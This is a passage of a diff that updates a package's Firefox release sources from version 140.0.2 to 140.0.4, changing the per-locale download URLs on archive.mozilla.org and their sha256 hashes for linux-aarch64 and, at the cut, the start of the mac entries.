-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/hu/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/hu/firefox-140.0.4.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "4212c909bc9eb920d58af2c7ef161dbb78a911faec9e79aedf18dd55528fe8a6";
+      sha256 = "9e3147d01af92d36cd21b25a6461cc2c2c4ab7db5fdbebba1882fcdb37e98793";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/hy-AM/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/hy-AM/firefox-140.0.4.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "ef2c510da1e59113120d14acc5328eb1fa166b90b09bf18356cd876903c1e47e";
+      sha256 = "a51c68b72e7e26c24fe5131a3e8a1da32e3062d274b3aebf736013a4ce663647";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ia/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ia/firefox-140.0.4.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "1f41b1c3cb6e99b42aaf08422068d1ee8b29a715c6933f8af8d24f79ba8ffc61";
+      sha256 = "eaa04b180552fe5dc8eaa69147c6c844486086eb98dddb4c4bc5b0438b699ada";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/id/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/id/firefox-140.0.4.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "c3360028bac60165cc4b588dac35bd1eb3df5042348068147d56591206748d4d";
+      sha256 = "c8b724dc675ad34581a13492fa5fcdcb9e2033aa25a91cacec8f89d47d7ef802";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/is/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/is/firefox-140.0.4.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "a22dfaaa59104bd371d7f7d5ab082f39ef3c90b3d2228defdb20bd9693326fca";
+      sha256 = "654311b10195eed0fc13e7d0c3b347a8034fa8d075522f1c2a86020e3c5c9b7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/it/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/it/firefox-140.0.4.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "30800d733eb2bc25b07a47a41fe0fc58f2d8898b956f9be0085237620d42d6fc";
+      sha256 = "ab14882c6ef15e534c416e5c7127aaaef2104885a933e71f1e26d97ba91eb836";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ja/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ja/firefox-140.0.4.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "9445d1d158e8ff00e9e91a953701e8b905f0d700764f468c9c4915b981afa30b";
+      sha256 = "76d761b485afaead9fd2eedcf7baba0a28b1889ae5c07937dc3f78403d3254c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ka/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ka/firefox-140.0.4.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "ec0547c3921d15d2ec6b4214d8e1dd16ff5b82cf20c4fff4a8f8135d29d5780b";
+      sha256 = "50cd042ed4e96900b12b2fd3e4c2948bae13f5b1ee9301f70fca772bacb5412a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/kab/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/kab/firefox-140.0.4.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "cc939b62ba033f6a3d17a11d14801dce7716dfdfeddb5eb5769caa764939e7cb";
+      sha256 = "277e8b2991d305221986ff6d7cfa104dd59918816fb90e4dc17f3933729efefc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/kk/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/kk/firefox-140.0.4.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "4a4ed5cf84893e41d019cc91d5cef7e1698fcb9f05f864c5f4c188b299598659";
+      sha256 = "7adc1aaa752c9e6c7e249ea931d4a23dd7d3423eba3c2993fdf05f6ec63f7c48";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/km/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/km/firefox-140.0.4.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "e3e73438fa30248f33a0a621111e631f29a55212beefe6beb4f2f384e23a81f1";
+      sha256 = "ed43eb8ebcdfa4edc5607a7a0ed6c4e063945f089e59b356cf9c724aaf252f16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/kn/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/kn/firefox-140.0.4.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "66a029df919aed8f4b53933026e1f93739c51be1f30e7cc81ea4590f1e39c298";
+      sha256 = "5f43e929dcb0b02deb0fc496d1111df5401fc9ec4ee80eceef87b2f3be1f3dd9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ko/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ko/firefox-140.0.4.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "f0f7d754973ec609b1470cf6dfe3a34f6bc7bd70462e84c7ef242545319d3f02";
+      sha256 = "7dc6e17515344497ab7ab7f6970ad019f19d1c3db716af10ab9db46b92fa335b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/lij/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/lij/firefox-140.0.4.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "be3bcc8f66c9f5122ff7dbcb938bbb37680ff8748e224f5eaff6d524a670b194";
+      sha256 = "6b18ed5bb0c37dc64120c2ac5cc15048215fca442da0da7929b09621ce2ed331";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/lt/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/lt/firefox-140.0.4.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "4b9c1f9a885a8d9da5beeeb0d6e4a0bd62b3f08489b917eb829a3c04b0531ece";
+      sha256 = "b6cf020bd8d89bc8d0e9bcfc733b975b46a0619cdbb4a4b50c695683959b8a45";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/lv/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/lv/firefox-140.0.4.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "0247b0c0c095965b575c0dcc46b5edf736809898f7b9681b45de4fe942696a11";
+      sha256 = "9fe291e0cf50e1b62539f8a0660942140a3264c18424d5e9071019646065384d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/mk/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/mk/firefox-140.0.4.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "206eaf35b9072a9d292ac23b56697fb51edfc2c7de1264a3c61c8a3cc7d5ce6b";
+      sha256 = "85f06e3c8ab85bb1474bc1e925641802723c5cd17beddce394da9abaa2c4ddb4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/mr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/mr/firefox-140.0.4.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "3527c344bdae74ea526ef94ad754fb097ab58bc98fdc4d01edda40ddf18e5e4a";
+      sha256 = "b235154077ae5db0e322792f2fd486971586b5bbc900c37f452e094ca47ec640";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ms/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ms/firefox-140.0.4.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "768c930eb1c362fe12cc0c0e11b2e0795188062edb10ae40d910b45ad1a4a7b9";
+      sha256 = "14bff36ef998f00a29532795e69cd6f658341c37dc15e7c23081b6ce494382f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/my/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/my/firefox-140.0.4.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "d7a6ffa05d026edb92152e89cd211b3298b319ee463329209a2ee90912544f63";
+      sha256 = "a7001bd1cbb7284ee6385e3d3d615aa350adfb774daa3da914d5b934cd539b3a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/nb-NO/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/nb-NO/firefox-140.0.4.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "72dbebb852bc552393c5d835db3e8e9bb4cf138b3808d71f5f7d0e1f5c13e189";
+      sha256 = "70a06afb3e9cdac1014335f85fe4dcd720a6777369a935e02d70024975448db3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ne-NP/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ne-NP/firefox-140.0.4.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "366eb396838b66a85265295cc32f164744de3e9ea00f4c14d25f9786376c975d";
+      sha256 = "a589a80bbc4246ebfe862722ecd954911afe0f531ce88c29214f022681d8ccdc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/nl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/nl/firefox-140.0.4.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "cdd3ebe6b2a5edaaab379d9874348dc5a23d7a2181b53341e36ad35618a1e888";
+      sha256 = "31b8bcea4411543c6b9dd3861fcccbf952a995fa7b5c49b0155e1cf48d50a6a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/nn-NO/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/nn-NO/firefox-140.0.4.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "85384d922fd19490787094b01f3bbdeedc41a530d666d332b4c10de7656dc86d";
+      sha256 = "5b686f327debb1575111d0144a7e37f64569b6c404e4e432394ca340c900803d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/oc/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/oc/firefox-140.0.4.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "bd4e1f17b29088be579066bb0dcb1ff7ac8bfee3754c1c92cf52054eae099fba";
+      sha256 = "2b8c20c0aea4aa731b7571cbd0411fc28675daf0df7e3e178db00c01f8339287";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/pa-IN/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/pa-IN/firefox-140.0.4.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "7313e0f2ff8a1ae98e0a039d34e82e44285124986b0e927e7980911680986bf7";
+      sha256 = "997a9c2fbc7618b6b94fb5094c6d7a5ffac8d0df30b44aa55c01e7034a412ad9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/pl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/pl/firefox-140.0.4.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "f826a02e8892a7b047801f2c71a3ab4cc075ae85094a539992b9e81cf2fe7937";
+      sha256 = "d15f725123515636ca8efc4fada37c777d33703652fa7fd78d424e074e5886fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/pt-BR/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/pt-BR/firefox-140.0.4.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "e63a251db1651962d1668c04bb8500202acc4b2f3ac7670cef753abad7b5a9cf";
+      sha256 = "ea6a30fa75d99b625e323155c6e6510dda6870e92c8945ee6ebe72ef80b95719";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/pt-PT/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/pt-PT/firefox-140.0.4.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "62ad73606fb65b1ff449458ce80a3cab5ec58e39c5a0d005084618ca048ba336";
+      sha256 = "101b96f5e866cbaae618d78c64c0756be0c1ddfbc0e34c33f26336fa59728845";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/rm/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/rm/firefox-140.0.4.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "13e46725dc1319390a0c13ac73ce168bbe7bdb503f922732e843d48bc7e9573a";
+      sha256 = "2cfd9e972f3ec29085b8fe745e92fbbab515a10abf9b7995b81ea5371d984b78";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ro/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ro/firefox-140.0.4.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "550ee056c745731b9afb560da322f7140ebfca15668cb1b3e6f59157ef7c4832";
+      sha256 = "033d5537fc46f12e98dc691c17a2b76ba10829f496e6f5bd177ccb4da9bd00ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ru/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ru/firefox-140.0.4.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "109d09e5c113113f47fcffa95dbe81351560bd2eb294386f1674ce1dbf231a98";
+      sha256 = "c0e77abeb8b3c49007283fa7455005fdeb38ed5fd4a11822eab62e8ab38d26c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sat/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sat/firefox-140.0.4.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "9c3260546b5c817569d4432220c3275c2007b2e760205a51f81ad1433520d997";
+      sha256 = "7e31342df60c7d789da8e0d3bc2afbbb5dd088d7ff9be49306318eeaf4f4cff4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sc/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sc/firefox-140.0.4.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "eb3e73f36a65e63c8105eb29b061f921c9cbbed2c50aef516449e47362d6f9d1";
+      sha256 = "5cfe8e8b0b86848feb7711c0360c8b991e9d9b3dcb39676d10a3d40c9fc1b4a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sco/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sco/firefox-140.0.4.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "383b3243dfa89feb7dd4f5fdace236b4596f53ebed52a995c4d9054ae640cc39";
+      sha256 = "edf5dcce85c6f38d866a61acf0c0b9ef6cee8062c9ac5b856d70cc079eb2cfa2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/si/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/si/firefox-140.0.4.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "f366ec7b5caa7a4ee2e7923b2c8df9a189c79eb2106e119c12199b4896950e79";
+      sha256 = "ef5016a94479fc9914b722de0f686163d9ff0b6343c0a825877c1c095db872bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sk/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sk/firefox-140.0.4.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "5708162af87f18029c6b3848863134757ea5c4fa535b826fab806c91e83cde96";
+      sha256 = "5dc50a12c14297db1f9f59e44870be390265693353d69fa1b31465cc0e08f79d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/skr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/skr/firefox-140.0.4.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "8c21d972204624475aa318317920ba97f126baa68597c392074f28db7b99481d";
+      sha256 = "f7b3dbd0386981995bb07a055b66eaa8d54b002a3562dd19497314cbda20e68f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sl/firefox-140.0.4.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "fbf31ed1eb9123000cee497d0eeabb6b7606ce7192c4012599b48fdbe927a6d7";
+      sha256 = "a5fafb0df39613ef5c1670a36368fb73c66c4f8b853205669da9eec305a1ff02";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/son/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/son/firefox-140.0.4.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "d34fa4727aab2968431b82689bc377ed4910a5705f90c1987c7a5162c048c18e";
+      sha256 = "612dc6eca9650fd96e0abae35efae626753928d575b5e420292854c164f5aa51";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sq/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sq/firefox-140.0.4.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "73e52de711ac363c7d57dcde927218a1b3ee7ecfcdd35ddc8401a179cc1f227a";
+      sha256 = "921e13d746eb17a421d97672273c886d924f773234694405f00395a65210aac0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sr/firefox-140.0.4.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "caf52538031e6ede5ec3e2ccf49e1f5fe1290f983acbfef646a4bea4f5282a5a";
+      sha256 = "1025c259512e6aab613fb1543439b49101fc84b38e0124c8727f7a2007d62159";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sv-SE/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/sv-SE/firefox-140.0.4.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "db5b48657124df020d908baf8cc109ca21106688e6f5bd3267d685f880a82771";
+      sha256 = "5cb05c6739b26128fb1f0dbbd18204a85da05c59f05ea093e20651eab09128de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/szl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/szl/firefox-140.0.4.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "7be844802660121db0839025adcd4e89bcc2b5aa6b370aae1ced4828354b0062";
+      sha256 = "ab55e0ea9ea39073330acbf8774b8e407a356ed97747eb7050692308a141bad2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ta/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ta/firefox-140.0.4.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "82a540f8815ba0b57c1de7e0b517a02a62f45082e459edc9b3826c49bf580fe4";
+      sha256 = "a9a084d97c19ebce2aa3939d4773c7afac89780c45da9654c316f0606aa1e55a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/te/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/te/firefox-140.0.4.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "e49a728c482bff5e228be569ca3e324d6cf474a46afe19108862bee644bf67ae";
+      sha256 = "d07ba7015244294d981cdf9f7bda120c76739eed7e8dbc698231bef19ab05c09";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/tg/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/tg/firefox-140.0.4.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "92f4c0c21b56171b5f363bea89b432e3b83c16ddb6616e51e7299de549fa9a2c";
+      sha256 = "ab89563040fa7561896cbac272e268067c893f60134f29e07524b9582d7f7f34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/th/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/th/firefox-140.0.4.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "6792bf0e6b4eeec6f0f80471af31d6baec14062fd32e2ae72fcd5825068f8a1a";
+      sha256 = "b9b73ce1f8d6526663810b6fa21e3a0b57cd8e9558aeee50b499e7ea9ac3f0d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/tl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/tl/firefox-140.0.4.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "2420037d652bdfb12d694d68e451718dea3ea258f3be4c486bd3316be35a2902";
+      sha256 = "a39396b454763f477019a8f537718a91e04ac7b699b1241e7e2e586e6d98f236";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/tr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/tr/firefox-140.0.4.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "69b810b14fe46164284dc9602f2fb88ae622bb1ba4e03b0f1e7b4f89fd201146";
+      sha256 = "3b3cb24381bf0e3bbec6381624dfe892904446775624510f5b8f42f88407d7c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/trs/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/trs/firefox-140.0.4.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "c49e310f81d95bf37b7bb8152aeb1b8c535144b52a4919e3a2e61fbde8773754";
+      sha256 = "9fc80b0e716820b338a16a8a7c06cdb3ae0766ee7c0b38a563fa67d8f00fa1d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/uk/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/uk/firefox-140.0.4.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "c1e445c804fe7b566e125adadb72dd55d2b08c9bc1ce28b678a24d624226aa9e";
+      sha256 = "f7a7dc5dec812f3eeecc5eb08b4e5e0b19d1e230f5e599539d49b8cbbe283f37";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ur/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ur/firefox-140.0.4.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "efdda791f75069b2eb6fd737422838ade0fa18ca8aae5ab2f49e04dafb339ed2";
+      sha256 = "df2a6673417798160298d93f667c6f8cff6c6060b89b293e4553a4afb25ae426";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/uz/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/uz/firefox-140.0.4.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "0281f34c78b6b3d8a3e8fdc71b5b135561d596bd8180c18f43f0404d37d5a7d9";
+      sha256 = "ca5f4503c25ca5e1489c050e08914ad382f7a66bb734a7be0a4e85d9f8481834";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/vi/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/vi/firefox-140.0.4.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "5d5a845b80a0df049ce65906cb60551c553f9ab538f201a3eb7f0a822616a8ef";
+      sha256 = "a5246465d7fd30150c5a2516efe8defaf4efd5ba4b31620af1c6aed83ddd49c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/xh/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/xh/firefox-140.0.4.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "0ed1c80605c82f1511a4f5b6c892d88afa5e7f3bf095c6c374edc43ba3e103dd";
+      sha256 = "563095415dae63d07dc071988e8beca12683b5df044cac470c9dc70688605dc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/zh-CN/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/zh-CN/firefox-140.0.4.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "890869cf44d6740f0b0eba54fe2874ae10d388dde3df3770884bf8e66bca1658";
+      sha256 = "7d4dd6d7af3ae4ea0cdb340afbe83c44f2da2fbcfa6c324a2e5b6dd20a47ec6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/zh-TW/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/zh-TW/firefox-140.0.4.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "366b0dd0028f090bb1220cc49782cfc77fe661b82a2a8db63d1bcc6fd8039d24";
+      sha256 = "95320006e0a544120fa7d2ad27f0ef15b253f438a257b79c226e74dc8d26e1e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ach/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ach/Firefox%20140.0.4.dmg";
       locale = "ach";
       arch = "mac";
